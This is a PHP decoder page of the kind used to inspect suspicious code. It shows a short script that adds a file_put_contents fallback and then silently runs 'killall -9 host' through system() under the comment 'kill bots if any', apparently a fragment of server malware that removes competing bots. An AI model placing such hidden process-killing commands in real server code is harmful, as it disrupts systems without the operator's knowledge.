Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* file_put_contents is PHP5+, file_get_contents 4.3+ */ if (! function_exists(..

Decoded Output download

<?php 
  
/* file_put_contents is PHP5+, file_get_contents 4.3+ */ 
if (! function_exists('file_put_contents')) { 
        function file_put_contents($filename, $data) { 
                $f = @fopen($filename, 'w'); 
                if (! $f) 
                        return false; 
                $bytes = fwrite($f, $data); 
                fclose($f); 
                return $bytes; 
        } 
} 
/* kill bots if any */ 
@system("killall -9 ".basename("/usr/bin/host")); ?>

Did this file decode correctly?

Original Code

<?php
 
/* file_put_contents is PHP5+, file_get_contents 4.3+ */
if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}
/* kill bots if any */
@system("killall -9 ".basename("/usr/bin/host"));

Function Calls

basename 1
function_exists 1

Variables

None

Stats

MD5 167085dfde01fed34c13625f321666f0
Eval Count 0
Decode Time 107 ms